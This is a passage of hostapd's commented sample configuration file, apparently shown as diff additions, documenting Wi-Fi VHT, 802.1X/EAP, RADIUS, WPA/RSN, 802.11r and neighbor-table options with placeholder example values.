(default) +# 1 = 7991 octets +# 2 = 11454 octets +# 3 = reserved +# +# supported_chan_width: [VHT160] [VHT160-80PLUS80] +# Indicates supported Channel widths +# 0 = 160 MHz & 80+80 channel widths are not supported (default) +# 1 = 160 MHz channel width is supported +# 2 = 160 MHz & 80+80 channel widths are supported +# 3 = reserved +# +# Rx LDPC coding capability: [RXLDPC] +# Indicates support for receiving LDPC coded pkts +# 0 = Not supported (default) +# 1 = Supported +# +# Short GI for 80 MHz: [SHORT-GI-80] +# Indicates short GI support for reception of packets transmitted with TXVECTOR +# params format equal to VHT and CBW = 80Mhz +# 0 = Not supported (default) +# 1 = Supported +# +# Short GI for 160 MHz: [SHORT-GI-160] +# Indicates short GI support for reception of packets transmitted with TXVECTOR +# params format equal to VHT and CBW = 160Mhz +# 0 = Not supported (default) +# 1 = Supported +# +# Tx STBC: [TX-STBC-2BY1] +# Indicates support for the transmission of at least 2x1 STBC +# 0 = Not supported (default) +# 1 = Supported +# +# Rx STBC: [RX-STBC-1] [RX-STBC-12] [RX-STBC-123] [RX-STBC-1234] +# Indicates support for the reception of PPDUs using STBC +# 0 = Not supported (default) +# 1 = support of one spatial stream +# 2 = support of one and two spatial streams +# 3 = support of one, two and three spatial streams +# 4 = support of one, two, three and four spatial streams +# 5,6,7 = reserved +# +# SU Beamformer Capable: [SU-BEAMFORMER] +# Indicates support for operation as a single user beamformer +# 0 = Not supported (default) +# 1 = Supported +# +# SU Beamformee Capable: [SU-BEAMFORMEE] +# Indicates support for operation as a single user beamformee +# 0 = Not supported (default) +# 1 = Supported +# +# Compressed Steering Number of Beamformer Antennas Supported: +# [BF-ANTENNA-2] [BF-ANTENNA-3] [BF-ANTENNA-4] +# Beamformee's capability indicating the maximum number of beamformer +# antennas the beamformee can support when sending compressed beamforming +# feedback +# If SU beamformer capable, set to maximum value minus 1 +# else reserved (default) +# +# Number of Sounding Dimensions: +# [SOUNDING-DIMENSION-2] [SOUNDING-DIMENSION-3] [SOUNDING-DIMENSION-4] +# Beamformer's capability indicating the maximum value of the NUM_STS parameter +# in the TXVECTOR of a VHT NDP +# If SU beamformer capable, set to maximum value minus 1 +# else reserved (default) +# +# MU Beamformer Capable: [MU-BEAMFORMER] +# Indicates support for operation as an MU beamformer +# 0 = Not supported or sent by Non-AP STA (default) +# 1 = Supported +# +# VHT TXOP PS: [VHT-TXOP-PS] +# Indicates whether or not the AP supports VHT TXOP Power Save Mode +# or whether or not the STA is in VHT TXOP Power Save mode +# 0 = VHT AP doesn't support VHT TXOP PS mode (OR) VHT STA not in VHT TXOP PS +# mode +# 1 = VHT AP supports VHT TXOP PS mode (OR) VHT STA is in VHT TXOP power save +# mode +# +# +HTC-VHT Capable: [HTC-VHT] +# Indicates whether or not the STA supports receiving a VHT variant HT Control +# field. +# 0 = Not supported (default) +# 1 = supported +# +# Maximum A-MPDU Length Exponent: [MAX-A-MPDU-LEN-EXP0]..[MAX-A-MPDU-LEN-EXP7] +# Indicates the maximum length of A-MPDU pre-EOF padding that the STA can recv +# This field is an integer in the range of 0 to 7. +# The length defined by this field is equal to +# 2 pow(13 + Maximum A-MPDU Length Exponent) -1 octets +# +# VHT Link Adaptation Capable: [VHT-LINK-ADAPT2] [VHT-LINK-ADAPT3] +# Indicates whether or not the STA supports link adaptation using VHT variant +# HT Control field +# If +HTC-VHTcapable is 1 +# 0 = (no feedback) if the STA does not provide VHT MFB (default) +# 1 = reserved +# 2 = (Unsolicited) if the STA provides only unsolicited VHT MFB +# 3 = (Both) if the STA can provide VHT MFB in response to VHT MRQ and if the +# STA provides unsolicited VHT MFB +# Reserved if +HTC-VHTcapable is 0 +# +# Rx Antenna Pattern Consistency: [RX-ANTENNA-PATTERN] +# Indicates the possibility of Rx antenna pattern change +# 0 = Rx antenna pattern might change during the lifetime of an association +# 1 = Rx antenna pattern does not change during the lifetime of an association +# +# Tx Antenna Pattern Consistency: [TX-ANTENNA-PATTERN] +# Indicates the possibility of Tx antenna pattern change +# 0 = Tx antenna pattern might change during the lifetime of an association +# 1 = Tx antenna pattern does not change during the lifetime of an association +#vht_capab=[SHORT-GI-80][HTC-VHT] +# +# Require stations to support VHT PHY (reject association if they do not) +#require_vht=1 + +# 0 = 20 or 40 MHz operating Channel width +# 1 = 80 MHz channel width +# 2 = 160 MHz channel width +# 3 = 80+80 MHz channel width +#vht_oper_chwidth=1 +# +# center freq = 5 GHz + (5 * index) +# So index 42 gives center freq 5.210 GHz +# which is channel 42 in 5G band +# +#vht_oper_centr_freq_seg0_idx=42 +# +# center freq = 5 GHz + (5 * index) +# So index 159 gives center freq 5.795 GHz +# which is channel 159 in 5G band +# +#vht_oper_centr_freq_seg1_idx=159 + +# Workaround to use station's nsts capability in (Re)Association Response frame +# This may be needed with some deployed devices as an interoperability +# workaround for beamforming if the AP's capability is greater than the +# station's capability. This is disabled by default and can be enabled by +# setting use_sta_nsts=1. +#use_sta_nsts=0 + +##### IEEE 802.1X-2004 related configuration ################################## + +# Require IEEE 802.1X authorization +#ieee8021x=1 + +# IEEE 802.1X/EAPOL version +# hostapd is implemented based on IEEE Std 802.1X-2004 which defines EAPOL +# version 2. However, there are many client implementations that do not handle +# the new version number correctly (they seem to drop the frames completely). +# In order to make hostapd interoperate with these clients, the version number +# can be set to the older version (1) with this configuration value. +#eapol_version=2 + +# Optional displayable message sent with EAP Request-Identity. The first \0 +# in this string will be converted to ASCII-0 (nul). This can be used to +# separate network info (comma separated list of attribute=value pairs); see, +# e.g., RFC 4284. +#eap_message=hello +#eap_message=hello\0networkid=netw,nasid=foo,portid=0,NAIRealms=example.com + +# WEP rekeying (disabled if key lengths are not set or are set to 0) +# Key lengths for default/broadcast and individual/unicast keys: +# 5 = 40-bit WEP (also known as 64-bit WEP with 40 secret bits) +# 13 = 104-bit WEP (also known as 128-bit WEP with 104 secret bits) +#wep_key_len_broadcast=5 +#wep_key_len_unicast=5 +# Rekeying period in seconds. 0 = do not rekey (i.e., set keys only once) +#wep_rekey_period=300 + +# EAPOL-Key index workaround (set bit7) for WinXP Supplicant (needed only if +# only broadcast keys are used) +eapol_key_index_workaround=0 + +# EAP reauthentication period in seconds (default: 3600 seconds; 0 = disable +# reauthentication). +#eap_reauth_period=3600 + +# Use PAE group address (01:80:c2:00:00:03) instead of individual target +# address when sending EAPOL frames with driver=wired. This is the most common +# mechanism used in wired authentication, but it also requires that the port +# is only used by one station. +#use_pae_group_addr=1 + +# EAP Re-authentication Protocol (ERP) authenticator (RFC 6696) +# +# Whether to initiate EAP authentication with EAP-Initiate/Re-auth-Start before +# EAP-Identity/Request +#erp_send_reauth_start=1 +# +# Domain name for EAP-Initiate/Re-auth-Start. Omitted from the message if not +# set (no local ER server). This is also used by the integrated EAP server if +# ERP is enabled (eap_server_erp=1). +#erp_domain=example.com + +##### Integrated EAP server ################################################### + +# Optionally, hostapd can be configured to use an integrated EAP server +# to process EAP authentication locally without need for an external RADIUS +# server. This functionality can be used both as a local authentication server +# for IEEE 802.1X/EAPOL and as a RADIUS server for other devices. + +# Use integrated EAP server instead of external RADIUS authentication +# server. This is also needed if hostapd is configured to act as a RADIUS +# authentication server. +#eap_server=0 + +# Path for EAP server user database +# If SQLite support is included, this can be set to "sqlite:/path/to/sqlite.db" +# to use SQLite database instead of a text file. +#eap_user_file=/etc/hostapd.eap_user + +# CA certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS +#ca_cert=/etc/hostapd.ca.pem + +# Server certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS +#server_cert=/etc/hostapd.server.pem + +# Private key matching with the server certificate for EAP-TLS/PEAP/TTLS +# This may point to the same file as server_cert if both certificate and key +# are included in a single file. PKCS#12 (PFX) file (.p12/.pfx) can also be +# used by commenting out server_cert and specifying the PFX file as the +# private_key. +#private_key=/etc/hostapd.server.prv + +# Passphrase for private key +#private_key_passwd=secret passphrase + +# Server identity +# EAP methods that provide mechanism for authenticated server identity delivery +# use this value. If not set, "hostapd" is used as a default. +#server_id=server.example.com + +# Enable CRL verification. +# Note: hostapd does not yet support CRL downloading based on CDP. Thus, a +# valid CRL signed by the CA is required to be included in the ca_cert file. +# This can be done by using PEM format for CA certificate and CRL and +# concatenating these into one file. Whenever CRL changes, hostapd needs to be +# restarted to take the new CRL into use. +# 0 = do not verify CRLs (default) +# 1 = check the CRL of the user certificate +# 2 = check all CRLs in the certificate path +#check_crl=1 + +# TLS Session Lifetime in seconds +# This can be used to allow TLS sessions to be cached and resumed with an +# abbreviated handshake when using EAP-TLS/TTLS/PEAP. +# (default: 0 = session caching and resumption disabled) +#tls_session_lifetime=3600 + +# Cached OCSP stapling response (DER encoded) +# If set, this file is sent as a certificate status response by the EAP server +# if the EAP peer requests certificate status in the ClientHello message. +# This cache file can be updated, e.g., by running following command +# periodically to get an update from the OCSP responder: +# openssl ocsp \ +# -no_nonce \ +# -CAfile /etc/hostapd.ca.pem \ +# -issuer /etc/hostapd.ca.pem \ +# -cert /etc/hostapd.server.pem \ +# -url http://ocsp.example.com:8888/ \ +# -respout /tmp/ocsp-cache.der +#ocsp_stapling_response=/tmp/ocsp-cache.der + +# Cached OCSP stapling response list (DER encoded OCSPResponseList) +# This is similar to ocsp_stapling_response, but the extended version defined in +# RFC 6961 to allow multiple OCSP responses to be provided. +#ocsp_stapling_response_multi=/tmp/ocsp-multi-cache.der + +# dh_file: File path to DH/DSA parameters file (in PEM format) +# This is an optional configuration file for setting parameters for an +# ephemeral DH key exchange. In most cases, the default RSA authentication does +# not use this configuration. However, it is possible setup RSA to use +# ephemeral DH key exchange. In addition, ciphers with DSA keys always use +# ephemeral DH keys. This can be used to achieve forward secrecy. If the file +# is in DSA parameters format, it will be automatically converted into DH +# params. This parameter is required if anonymous EAP-FAST is used. +# You can generate DH parameters file with OpenSSL, e.g., +# "openssl dhparam -out /etc/hostapd.dh.pem 2048" +#dh_file=/etc/hostapd.dh.pem + +# OpenSSL cipher string +# +# This is an OpenSSL specific configuration option for configuring the default +# ciphers. If not set, "DEFAULT:!EXP:!LOW" is used as the default. +# See https://www.openssl.org/docs/apps/ciphers.html for OpenSSL documentation +# on cipher suite configuration. This is applicable only if hostapd is built to +# use OpenSSL. +#openssl_ciphers=DEFAULT:!EXP:!LOW + +# Fragment size for EAP methods +#fragment_size=1400 + +# Finite cyclic group for EAP-pwd. Number maps to group of domain parameters +# using the IANA repository for IKE (RFC 2409). +#pwd_group=19 + +# Configuration data for EAP-SIM database/authentication gateway interface. +# This is a text string in implementation specific format. The example +# implementation in eap_sim_db.c uses this as the UNIX domain socket name for +# the HLR/AuC gateway (e.g., hlr_auc_gw). In this case, the path uses "unix:" +# prefix. If hostapd is built with SQLite support (CONFIG_SQLITE=y in .config), +# database file can be described with an optional db= parameter. +#eap_sim_db=unix:/tmp/hlr_auc_gw.sock +#eap_sim_db=unix:/tmp/hlr_auc_gw.sock db=/tmp/hostapd.db + +# EAP-SIM DB request timeout +# This parameter sets the maximum time to wait for a database request response. +# The parameter value is in seconds. +#eap_sim_db_timeout=1 + +# Encryption key for EAP-FAST PAC-Opaque values. This key must be a secret, +# random value. It is configured as a 16-octet value in hex format. It can be +# generated, e.g., with the following command: +# od -tx1 -v -N16 /dev/random | colrm 1 8 | tr -d ' ' +#pac_opaque_encr_key=000102030405060708090a0b0c0d0e0f + +# EAP-FAST authority identity (A-ID) +# A-ID indicates the identity of the authority that issues PACs. The A-ID +# should be unique across all issuing servers. In theory, this is a variable +# length field, but due to some existing implementations requiring A-ID to be +# 16 octets in length, it is strongly recommended to use that length for the +# field to provid interoperability with deployed peer implementations. This +# field is configured in hex format. +#eap_fast_a_id=101112131415161718191a1b1c1d1e1f + +# EAP-FAST authority identifier information (A-ID-Info) +# This is a user-friendly name for the A-ID. For example, the enterprise name +# and server name in a human-readable format. This field is encoded as UTF-8. +#eap_fast_a_id_info=test server + +# Enable/disable different EAP-FAST provisioning modes: +#0 = provisioning disabled +#1 = only anonymous provisioning allowed +#2 = only authenticated provisioning allowed +#3 = both provisioning modes allowed (default) +#eap_fast_prov=3 + +# EAP-FAST PAC-Key lifetime in seconds (hard limit) +#pac_key_lifetime=604800 + +# EAP-FAST PAC-Key refresh time in seconds (soft limit on remaining hard +# limit). The server will generate a new PAC-Key when this number of seconds +# (or fewer) of the lifetime remains. +#pac_key_refresh_time=86400 + +# EAP-SIM and EAP-AKA protected success/failure indication using AT_RESULT_IND +# (default: 0 = disabled). +#eap_sim_aka_result_ind=1 + +# Trusted Network Connect (TNC) +# If enabled, TNC validation will be required before the peer is allowed to +# connect. Note: This is only used with EAP-TTLS and EAP-FAST. If any other +# EAP method is enabled, the peer will be allowed to connect without TNC. +#tnc=1 + +# EAP Re-authentication Protocol (ERP) - RFC 6696 +# +# Whether to enable ERP on the EAP server. +#eap_server_erp=1 + +##### IEEE 802.11f - Inter-Access Point Protocol (IAPP) ####################### + +# Interface to be used for IAPP broadcast packets +#iapp_interface=eth0 + + +##### RADIUS client configuration ############################################# +# for IEEE 802.1X with external Authentication Server, IEEE 802.11 +# authentication with external ACL for MAC addresses, and accounting + +# The own IP address of the access point (used as NAS-IP-Address) +own_ip_addr=127.0.0.1 + +# NAS-Identifier string for RADIUS messages. When used, this should be unique +# to the NAS within the scope of the RADIUS server. Please note that hostapd +# uses a separate RADIUS client for each BSS and as such, a unique +# nas_identifier value should be configured separately for each BSS. This is +# particularly important for cases where RADIUS accounting is used +# (Accounting-On/Off messages are interpreted as clearing all ongoing sessions +# and that may get interpreted as applying to all BSSes if the same +# NAS-Identifier value is used.) For example, a fully qualified domain name +# prefixed with a unique identifier of the BSS (e.g., BSSID) can be used here. +# +# When using IEEE 802.11r, nas_identifier must be set and must be between 1 and +# 48 octets long. +# +# It is mandatory to configure either own_ip_addr or nas_identifier to be +# compliant with the RADIUS protocol. When using RADIUS accounting, it is +# strongly recommended that nas_identifier is set to a unique value for each +# BSS. +#nas_identifier=ap.example.com + +# RADIUS client forced local IP address for the access point +# Normally the local IP address is determined automatically based on configured +# IP addresses, but this field can be used to force a specific address to be +# used, e.g., when the device has multiple IP addresses. +#radius_client_addr=127.0.0.1 + +# RADIUS authentication server +#auth_server_addr=127.0.0.1 +#auth_server_port=1812 +#auth_server_shared_secret=secret + +# RADIUS accounting server +#acct_server_addr=127.0.0.1 +#acct_server_port=1813 +#acct_server_shared_secret=secret + +# Secondary RADIUS servers; to be used if primary one does not reply to +# RADIUS packets. These are optional and there can be more than one secondary +# server listed. +#auth_server_addr=127.0.0.2 +#auth_server_port=1812 +#auth_server_shared_secret=secret2 +# +#acct_server_addr=127.0.0.2 +#acct_server_port=1813 +#acct_server_shared_secret=secret2 + +# Retry interval for trying to return to the primary RADIUS server (in +# seconds). RADIUS client code will automatically try to use the next server +# when the current server is not replying to requests. If this interval is set, +# primary server will be retried after configured amount of time even if the +# currently used secondary server is still working. +#radius_retry_primary_interval=600 + + +# Interim accounting update interval +# If this is set (larger than 0) and acct_server is configured, hostapd will +# send interim accounting updates every N seconds. Note: if set, this overrides +# possible Acct-Interim-Interval attribute in Access-Accept message. Thus, this +# value should not be configured in hostapd.conf, if RADIUS server is used to +# control the interim interval. +# This value should not be less 600 (10 minutes) and must not be less than +# 60 (1 minute). +#radius_acct_interim_interval=600 + +# Request Chargeable-User-Identity (RFC 4372) +# This parameter can be used to configure hostapd to request CUI from the +# RADIUS server by including Chargeable-User-Identity attribute into +# Access-Request packets. +#radius_request_cui=1 + +# Dynamic VLAN mode; allow RADIUS authentication server to decide which VLAN +# is used for the stations. This information is parsed from following RADIUS +# attributes based on RFC 3580 and RFC 2868: Tunnel-Type (value 13 = VLAN), +# Tunnel-Medium-Type (value 6 = IEEE 802), Tunnel-Private-Group-ID (value +# VLANID as a string). Optionally, the local MAC ACL list (accept_mac_file) can +# be used to set static client MAC address to VLAN ID mapping. +# 0 = disabled (default) +# 1 = option; use default interface if RADIUS server does not include VLAN ID +# 2 = required; reject authentication if RADIUS server does not include VLAN ID +#dynamic_vlan=0 + +# Per-Station AP_VLAN interface mode +# If enabled, each station is assigned its own AP_VLAN interface. +# This implies per-station group keying and ebtables filtering of inter-STA +# traffic (when passed through the AP). +# If the sta is not assigned to any VLAN, then its AP_VLAN interface will be +# added to the bridge given by the "bridge" configuration option (see above). +# Otherwise, it will be added to the per-VLAN bridge. +# 0 = disabled (default) +# 1 = enabled +#per_sta_vif=0 + +# VLAN interface list for dynamic VLAN mode is read from a separate text file. +# This list is used to map VLAN ID from the RADIUS server to a network +# interface. Each station is bound to one interface in the same way as with +# multiple BSSIDs or SSIDs. Each line in this text file is defining a new +# interface and the line must include VLAN ID and interface name separated by +# white space (space or tab). +# If no entries are provided by this file, the station is statically mapped +# to . interfaces. +#vlan_file=/etc/hostapd.vlan + +# Interface where 802.1q tagged packets should appear when a RADIUS server is +# used to determine which VLAN a station is on. hostapd creates a bridge for +# each VLAN. Then hostapd adds a VLAN interface (associated with the interface +# indicated by 'vlan_tagged_interface') and the appropriate wireless interface +# to the bridge. +#vlan_tagged_interface=eth0 + +# Bridge (prefix) to add the wifi and the tagged interface to. This gets the +# VLAN ID appended. It defaults to brvlan%d if no tagged interface is given +# and br%s.%d if a tagged interface is given, provided %s = tagged interface +# and %d = VLAN ID. +#vlan_bridge=brvlan + +# When hostapd creates a VLAN interface on vlan_tagged_interfaces, it needs +# to know how to name it. +# 0 = vlan, e.g., vlan1 +# 1 = ., e.g. eth0.1 +#vlan_naming=0 + +# Arbitrary RADIUS attributes can be added into Access-Request and +# Accounting-Request packets by specifying the contents of the attributes with +# the following configuration parameters. There can be multiple of these to +# add multiple attributes. These parameters can also be used to override some +# of the attributes added automatically by hostapd. +# Format: [:] +# attr_id: RADIUS attribute type (e.g., 26 = Vendor-Specific) +# syntax: s = string (UTF-8), d = integer, x = octet string +# value: attribute value in format indicated by the syntax +# If syntax and value parts are omitted, a null value (single 0x00 octet) is +# used. +# +# Additional Access-Request attributes +# radius_auth_req_attr=[:] +# Examples: +# Operator-Name = "Operator" +#radius_auth_req_attr=126:s:Operator +# Service-Type = Framed (2) +#radius_auth_req_attr=6:d:2 +# Connect-Info = "testing" (this overrides the automatically generated value) +#radius_auth_req_attr=77:s:testing +# Same Connect-Info value set as a hexdump +#radius_auth_req_attr=77:x:74657374696e67 + +# +# Additional Accounting-Request attributes +# radius_acct_req_attr=[:] +# Examples: +# Operator-Name = "Operator" +#radius_acct_req_attr=126:s:Operator + +# Dynamic Authorization Extensions (RFC 5176) +# This mechanism can be used to allow dynamic changes to user session based on +# commands from a RADIUS server (or some other disconnect client that has the +# needed session information). For example, Disconnect message can be used to +# request an associated station to be disconnected. +# +# This is disabled by default. Set radius_das_port to non-zero UDP port +# number to enable. +#radius_das_port=3799 +# +# DAS client (the host that can send Disconnect/CoA requests) and shared secret +#radius_das_client=192.168.1.123 shared secret here +# +# DAS Event-Timestamp time window in seconds +#radius_das_time_window=300 +# +# DAS require Event-Timestamp +#radius_das_require_event_timestamp=1 +# +# DAS require Message-Authenticator +#radius_das_require_message_authenticator=1 + +##### RADIUS authentication server configuration ############################## + +# hostapd can be used as a RADIUS authentication server for other hosts. This +# requires that the integrated EAP server is also enabled and both +# authentication services are sharing the same configuration. + +# File name of the RADIUS clients configuration for the RADIUS server. If this +# commented out, RADIUS server is disabled. +#radius_server_clients=/etc/hostapd.radius_clients + +# The UDP port number for the RADIUS authentication server +#radius_server_auth_port=1812 + +# The UDP port number for the RADIUS accounting server +# Commenting this out or setting this to 0 can be used to disable RADIUS +# accounting while still enabling RADIUS authentication. +#radius_server_acct_port=1813 + +# Use IPv6 with RADIUS server (IPv4 will also be supported using IPv6 API) +#radius_server_ipv6=1 + + +##### WPA/IEEE 802.11i configuration ########################################## + +# Enable WPA. Setting this variable configures the AP to require WPA (either +# WPA-PSK or WPA-RADIUS/EAP based on other configuration). For WPA-PSK, either +# wpa_psk or wpa_passphrase must be set and wpa_key_mgmt must include WPA-PSK. +# Instead of wpa_psk / wpa_passphrase, wpa_psk_radius might suffice. +# For WPA-RADIUS/EAP, ieee8021x must be set (but without dynamic WEP keys), +# RADIUS authentication server must be configured, and WPA-EAP must be included +# in wpa_key_mgmt. +# This field is a bit field that can be used to enable WPA (IEEE 802.11i/D3.0) +# and/or WPA2 (full IEEE 802.11i/RSN): +# bit0 = WPA +# bit1 = IEEE 802.11i/RSN (WPA2) (dot11RSNAEnabled) +#wpa=1 + +# WPA pre-shared keys for WPA-PSK. This can be either entered as a 256-bit +# secret in hex format (64 hex digits), wpa_psk, or as an ASCII passphrase +# (8..63 characters) that will be converted to PSK. This conversion uses SSID +# so the PSK changes when ASCII passphrase is used and the SSID is changed. +# wpa_psk (dot11RSNAConfigPSKValue) +# wpa_passphrase (dot11RSNAConfigPSKPassPhrase) +#wpa_psk=0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef +#wpa_passphrase=secret passphrase + +# Optionally, WPA PSKs can be read from a separate text file (containing list +# of (PSK,MAC address) pairs. This allows more than one PSK to be configured. +# Use absolute path name to make sure that the files can be read on SIGHUP +# configuration reloads. +#wpa_psk_file=/etc/hostapd.wpa_psk + +# Optionally, WPA passphrase can be received from RADIUS authentication server +# This requires macaddr_acl to be set to 2 (RADIUS) +# 0 = disabled (default) +# 1 = optional; use default passphrase/psk if RADIUS server does not include +# Tunnel-Password +# 2 = required; reject authentication if RADIUS server does not include +# Tunnel-Password +#wpa_psk_radius=0 + +# Set of accepted key management algorithms (WPA-PSK, WPA-EAP, or both). The +# entries are separated with a space. WPA-PSK-SHA256 and WPA-EAP-SHA256 can be +# added to enable SHA256-based stronger algorithms. +# (dot11RSNAConfigAuthenticationSuitesTable) +#wpa_key_mgmt=WPA-PSK WPA-EAP + +# Set of accepted cipher suites (encryption algorithms) for pairwise keys +# (unicast packets). This is a space separated list of algorithms: +# CCMP = AES in Counter mode with CBC-MAC [RFC 3610, IEEE 802.11i/D7.0] +# TKIP = Temporal Key Integrity Protocol [IEEE 802.11i/D7.0] +# Group cipher suite (encryption algorithm for broadcast and multicast frames) +# is automatically selected based on this configuration. If only CCMP is +# allowed as the pairwise cipher, group cipher will also be CCMP. Otherwise, +# TKIP will be used as the group cipher. +# (dot11RSNAConfigPairwiseCiphersTable) +# Pairwise cipher for WPA (v1) (default: TKIP) +#wpa_pairwise=TKIP CCMP +# Pairwise cipher for RSN/WPA2 (default: use wpa_pairwise value) +#rsn_pairwise=CCMP + +# Time interval for rekeying GTK (broadcast/multicast encryption keys) in +# seconds. (dot11RSNAConfigGroupRekeyTime) +#wpa_group_rekey=600 + +# Rekey GTK when any STA that possesses the current GTK is leaving the BSS. +# (dot11RSNAConfigGroupRekeyStrict) +#wpa_strict_rekey=1 + +# Time interval for rekeying GMK (master key used internally to generate GTKs +# (in seconds). +#wpa_gmk_rekey=86400 + +# Maximum lifetime for PTK in seconds. This can be used to enforce rekeying of +# PTK to mitigate some attacks against TKIP deficiencies. +#wpa_ptk_rekey=600 + +# Enable IEEE 802.11i/RSN/WPA2 pre-authentication. This is used to speed up +# roaming be pre-authenticating IEEE 802.1X/EAP part of the full RSN +# authentication and key handshake before actually associating with a new AP. +# (dot11RSNAPreauthenticationEnabled) +#rsn_preauth=1 +# +# Space separated list of interfaces from which pre-authentication frames are +# accepted (e.g., 'eth0' or 'eth0 wlan0wds0'. This list should include all +# interface that are used for connections to other APs. This could include +# wired interfaces and WDS links. The normal wireless data interface towards +# associated stations (e.g., wlan0) should not be added, since +# pre-authentication is only used with APs other than the currently associated +# one. +#rsn_preauth_interfaces=eth0 + +# peerkey: Whether PeerKey negotiation for direct links (IEEE 802.11e) is +# allowed. This is only used with RSN/WPA2. +# 0 = disabled (default) +# 1 = enabled +#peerkey=1 + +# ieee80211w: Whether management frame protection (MFP) is enabled +# 0 = disabled (default) +# 1 = optional +# 2 = required +#ieee80211w=0 + +# Group management cipher suite +# Default: AES-128-CMAC (BIP) +# Other options (depending on driver support): +# BIP-GMAC-128 +# BIP-GMAC-256 +# BIP-CMAC-256 +# Note: All the stations connecting to the BSS will also need to support the +# selected cipher. The default AES-128-CMAC is the only option that is commonly +# available in deployed devices. +#group_mgmt_cipher=AES-128-CMAC + +# Association SA Query maximum timeout (in TU = 1.024 ms; for MFP) +# (maximum time to wait for a SA Query response) +# dot11AssociationSAQueryMaximumTimeout, 1...4294967295 +#assoc_sa_query_max_timeout=1000 + +# Association SA Query retry timeout (in TU = 1.024 ms; for MFP) +# (time between two subsequent SA Query requests) +# dot11AssociationSAQueryRetryTimeout, 1...4294967295 +#assoc_sa_query_retry_timeout=201 + +# disable_pmksa_caching: Disable PMKSA caching +# This parameter can be used to disable caching of PMKSA created through EAP +# authentication. RSN preauthentication may still end up using PMKSA caching if +# it is enabled (rsn_preauth=1). +# 0 = PMKSA caching enabled (default) +# 1 = PMKSA caching disabled +#disable_pmksa_caching=0 + +# okc: Opportunistic Key Caching (aka Proactive Key Caching) +# Allow PMK cache to be shared opportunistically among configured interfaces +# and BSSes (i.e., all configurations within a single hostapd process). +# 0 = disabled (default) +# 1 = enabled +#okc=1 + +# SAE threshold for anti-clogging mechanism (dot11RSNASAEAntiCloggingThreshold) +# This parameter defines how many open SAE instances can be in progress at the +# same time before the anti-clogging mechanism is taken into use. +#sae_anti_clogging_threshold=5 + +# Enabled SAE finite cyclic groups +# SAE implementation are required to support group 19 (ECC group defined over a +# 256-bit prime order field). All groups that are supported by the +# implementation are enabled by default. This configuration parameter can be +# used to specify a limited set of allowed groups. The group values are listed +# in the IANA registry: +# http://www.iana.org/assignments/ipsec-registry/ipsec-registry.xml#ipsec-registry-9 +#sae_groups=19 20 21 25 26 + +##### IEEE 802.11r configuration ############################################## + +# Mobility Domain identifier (dot11FTMobilityDomainID, MDID) +# MDID is used to indicate a group of APs (within an ESS, i.e., sharing the +# same SSID) between which a STA can use Fast BSS Transition. +# 2-octet identifier as a hex string. +#mobility_domain=a1b2 + +# PMK-R0 Key Holder identifier (dot11FTR0KeyHolderID) +# 1 to 48 octet identifier. +# This is configured with nas_identifier (see RADIUS client section above). + +# Default lifetime of the PMK-RO in minutes; range 1..65535 +# (dot11FTR0KeyLifetime) +#r0_key_lifetime=10000 + +# PMK-R1 Key Holder identifier (dot11FTR1KeyHolderID) +# 6-octet identifier as a hex string. +# Defaults to BSSID. +#r1_key_holder=000102030405 + +# Reassociation deadline in time units (TUs / 1.024 ms; range 1000..65535) +# (dot11FTReassociationDeadline) +#reassociation_deadline=1000 + +# List of R0KHs in the same Mobility Domain +# format: <128-bit key as hex string> +# This list is used to map R0KH-ID (NAS Identifier) to a destination MAC +# address when requesting PMK-R1 key from the R0KH that the STA used during the +# Initial Mobility Domain Association. +#r0kh=02:01:02:03:04:05 r0kh-1.example.com 000102030405060708090a0b0c0d0e0f +#r0kh=02:01:02:03:04:06 r0kh-2.example.com 00112233445566778899aabbccddeeff +# And so on.. One line per R0KH. + +# List of R1KHs in the same Mobility Domain +# format: <128-bit key as hex string> +# This list is used to map R1KH-ID to a destination MAC address when sending +# PMK-R1 key from the R0KH. This is also the list of authorized R1KHs in the MD +# that can request PMK-R1 keys. +#r1kh=02:01:02:03:04:05 02:11:22:33:44:55 000102030405060708090a0b0c0d0e0f +#r1kh=02:01:02:03:04:06 02:11:22:33:44:66 00112233445566778899aabbccddeeff +# And so on.. One line per R1KH. + +# Whether PMK-R1 push is enabled at R0KH +# 0 = do not push PMK-R1 to all configured R1KHs (default) +# 1 = push PMK-R1 to all configured R1KHs whenever a new PMK-R0 is derived +#pmk_r1_push=1 + +# Whether to enable FT-over-DS +# 0 = FT-over-DS disabled +# 1 = FT-over-DS enabled (default) +#ft_over_ds=1 + +##### Neighbor table ########################################################## +# Maximum number of entries kept in AP table (either for neigbor table or for +# detecting Overlapping Legacy BSS Condition). The oldest entry will be +# removed when adding a new entry that would make the list grow over this +# limit. Note! WFA certification for IEEE 802.11g requires that OLBC is +# enabled, so this field should not be set to 0 when using IEEE 802.11g. +# default: 255 +#ap_table_max_size=255 + +# Number of seconds of no frames received after which entries may be deleted +# from the AP table. Since passive scanning is not usually performed frequently +# this should not be set to very small value. In addition, there is no +# guarantee that every scan cycle will receive beacon frames from the +# neighboring APs. +# default: 60 +#ap_table_expiration_time=3600 + +# Maximum number of stations to track on the operating channel +# This can be used to detect dualband capable stations before they have +# associated, e.g., to provide guidance on which colocated BSS to use. +# Default: 0 (disabled) +#track_sta_max_num=100 + +# Maximum age of a station tracking entry in seconds +# Default: 180 +#track_sta_max_age=180 + +# Do not reply to group-addressed Probe Request from a station that was seen on +# another radio. +# Default: Disabled +# +# This can be used with enabled track_sta_max_num configuration on another +# interface controlled by the same hostapd process to restrict Probe Request +# frame handling from replying to group-addressed Probe Request frames from a +# station that has been detected to be capable of operating on another band, +# e.g., to try to reduce likelihood of the station selecting a 2.4 GHz BSS when +# the AP operates both a 2.4 GHz and 5 GHz BSS concurrently. +# +# Note: Enabling this can cause connectivity issues and increase latency for +# discovering the AP. +#no_probe_resp_if_seen_on=wlan1 + +# Reject authentication from a station that was seen on another radio. +# Default: Disabled +# +# This can be used with enabled track_sta_max_num configuration on another +# interface controlled by the same hostapd process to reject authentication +# attempts from a station that has been detected to be capable of operating on +# another band, e.g., to try to reduce likelihood of the station selecting a +# 2.4 GHz BSS when the AP operates both a 2.4 GHz and 5 GHz BSS concurrently. +# +# Note: Enabling this can cause connectivity issues and increase latency for +# connecting with the AP. +#no_auth_if_seen_on=wlan1 + +##### Wi-Fi Protected Setup (WPS) ############################################# + +# WPS state +# 0 = WPS disabled (default) +# 1 = WPS enabled, not configured +# 2 = WPS enabled, configured +#wps_state=2 + +# Whether to manage this interface independently from other WPS interfaces +# By default, a single hostapd process applies WPS operations to all configured +# interfaces. This parameter can be used 